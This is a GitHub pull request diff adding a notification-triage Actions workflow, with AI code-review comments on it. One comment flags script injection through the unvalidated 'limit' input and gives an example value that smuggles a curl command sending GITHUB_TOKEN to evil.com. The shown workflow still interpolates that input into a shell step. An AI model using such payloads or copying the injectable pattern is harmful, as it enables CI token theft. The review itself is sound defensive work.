Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
72 changes: 72 additions & 0 deletions .github/workflows/triage.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
name: Notification Triage

on:
schedule:
- cron: '0 * * * *' # every hour
workflow_dispatch: # manual trigger with inputs
inputs:
limit:
description: 'Max notifications to triage'

Copilot AI Mar 7, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Script injection vulnerability: The limit input is interpolated directly into the shell script via ${{ github.event.inputs.limit }} on line 43. Since limit has no type constraint (defaults to string), a user with write access could inject arbitrary shell commands. For example, setting limit to 50"; curl http://evil.com/steal?token=$GITHUB_TOKEN # would exfiltrate the token.

The safe fix is to either:

  1. Add type: number to the limit input definition (which GitHub will validate), or
  2. Set the input as an environment variable first (using env: mapping) and reference it as $LIMIT instead of using the ${{ }} expression directly in run:.
Suggested change
description: 'Max notifications to triage'
description: 'Max notifications to triage'
type: number

Copilot uses AI. Check for mistakes.
default: '50'
required: false
dry_run:
description: 'Dry run (preview actions without executing)'
type: boolean
default: false

env:
PYTHON_VERSION: "3.11"

jobs:
triage:
name: Triage GitHub Notifications
runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v4

- uses: actions/setup-python@v5
with:
python-version: ${{ env.PYTHON_VERSION }}
cache: pip

- name: Install dependencies
run: pip install requests pyyaml python-dotenv anthropic

Copilot AI Mar 7, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The project has a requirements.txt with pinned dependency versions (e.g., requests==2.31.0, anthropic==0.25.0), but this workflow installs unpinned packages directly via pip install requests pyyaml python-dotenv anthropic. This means the workflow may use different (and potentially incompatible or vulnerable) versions compared to what the project specifies. Use pip install -r requirements.txt instead to stay consistent and reproducible. Note that the CI workflow (ci.yml line 40) also installs without requirements.txt, so this is a broader inconsistency worth fixing here.

Suggested change
run: pip install requests pyyaml python-dotenv anthropic
run: pip install -r requirements.txt

Copilot uses AI. Check for mistakes.

- name: Run triage
id: triage
env:
# GITHUB_TOKEN is the Actions token — has notifications:read + write scope
GITHUB_TOKEN: ${{ secrets.TRIAGE_GITHUB_TOKEN || secrets.GITHUB_TOKEN }}
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
run: |
Comment on lines +39 to +42

Copilot AI Mar 7, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment on line 39 says the built-in GITHUB_TOKEN "has notifications:read + write scope," but that is incorrect. The default GITHUB_TOKEN provided by GitHub Actions does not have notifications scope — it only has permissions scoped to the repository. The fallback to secrets.GITHUB_TOKEN will cause the triage to fail silently or with an API error if TRIAGE_GITHUB_TOKEN is not set. Consider updating the comment to clarify this limitation, and potentially adding a check/warning in the workflow if the PAT secret is not configured.

Suggested change
# GITHUB_TOKEN is the Actions token — has notifications:read + write scope
GITHUB_TOKEN: ${{ secrets.TRIAGE_GITHUB_TOKEN || secrets.GITHUB_TOKEN }}
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
run: |
# TRIAGE_GITHUB_TOKEN must be a PAT with notifications:read + write scope.
# The default Actions GITHUB_TOKEN does NOT have notifications scope.
GITHUB_TOKEN: ${{ secrets.TRIAGE_GITHUB_TOKEN }}
TRIAGE_GITHUB_TOKEN_CONFIGURED: ${{ secrets.TRIAGE_GITHUB_TOKEN != '' }}
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
run: |
if [ "${TRIAGE_GITHUB_TOKEN_CONFIGURED}" != "true" ]; then
echo "ERROR: TRIAGE_GITHUB_TOKEN is not configured." >&2
echo "The default Actions GITHUB_TOKEN does not have notifications scope; please add a TRIAGE_GITHUB_TOKEN secret with notifications:read + write permissions." >&2
exit 1
fi

Copilot uses AI. Check for mistakes.
LIMIT="${{ github.event.inputs.limit || '50' }}"
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"

ARGS="--limit $LIMIT"
[ "$DRY_RUN" = "true" ] && ARGS="$ARGS --dry-run"

echo "## 🔔 Notification Triage Run" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "- Limit: $LIMIT" >> $GITHUB_STEP_SUMMARY
echo "- Dry run: $DRY_RUN" >> $GITHUB_STEP_SUMMARY
echo "- LLM: ${{ secrets.ANTHROPIC_API_KEY && 'Claude (LLM)' || 'Rule-based fallback' }}" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "\`\`\`" >> $GITHUB_STEP_SUMMARY

python notification_copilot.py $ARGS 2>&1 | tee -a $GITHUB_STEP_SUMMARY

echo "\`\`\`" >> $GITHUB_STEP_SUMMARY

- name: Create issue on failure
if: failure()
uses: actions/github-script@v7
with:
script: |
github.rest.issues.create({
owner: context.repo.owner,
repo: context.repo.repo,
title: `Notification triage failed — ${new Date().toISOString().slice(0,16).replace('T',' ')} UTC`,
body: `## ⚠️ Scheduled triage failed\n\n**Run:** ${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}\n\nCheck the run logs for details. Common causes:\n- \`TRIAGE_GITHUB_TOKEN\` secret missing or expired\n- \`ANTHROPIC_API_KEY\` invalid (rule-based fallback should still work)\n- GitHub API rate limit hit`,
labels: ['bug', 'automated'],
});
Comment on lines +66 to +72

Copilot AI Mar 7, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The failure handler will create a new issue every time the workflow fails, including on every hourly scheduled run. If the failure persists (e.g., expired token), this will create up to 24 issues per day. Consider adding a check for existing open issues with the same labels before creating a new one, or using a fixed issue title so duplicate issues are not created.

Suggested change
github.rest.issues.create({
owner: context.repo.owner,
repo: context.repo.repo,
title: `Notification triage failed — ${new Date().toISOString().slice(0,16).replace('T',' ')} UTC`,
body: `## ⚠️ Scheduled triage failed\n\n**Run:** ${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}\n\nCheck the run logs for details. Common causes:\n- \`TRIAGE_GITHUB_TOKEN\` secret missing or expired\n- \`ANTHROPIC_API_KEY\` invalid (rule-based fallback should still work)\n- GitHub API rate limit hit`,
labels: ['bug', 'automated'],
});
const failureTitle = 'Notification triage failed';
const { data: issues } = await github.rest.issues.listForRepo({
owner: context.repo.owner,
repo: context.repo.repo,
state: 'open',
labels: 'bug,automated',
});
const existing = issues.find(issue => issue.title === failureTitle);
if (existing) {
core.info(`Existing open failure issue #${existing.number} found, not creating a duplicate.`);
} else {
await github.rest.issues.create({
owner: context.repo.owner,
repo: context.repo.repo,
title: failureTitle,
body: `## ⚠️ Scheduled triage failed\n\n**Run:** ${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}\n\nCheck the run logs for details. Common causes:\n- \`TRIAGE_GITHUB_TOKEN\` secret missing or expired\n- \`ANTHROPIC_API_KEY\` invalid (rule-based fallback should still work)\n- GitHub API rate limit hit`,
labels: ['bug', 'automated'],
});
}

Copilot uses AI. Check for mistakes.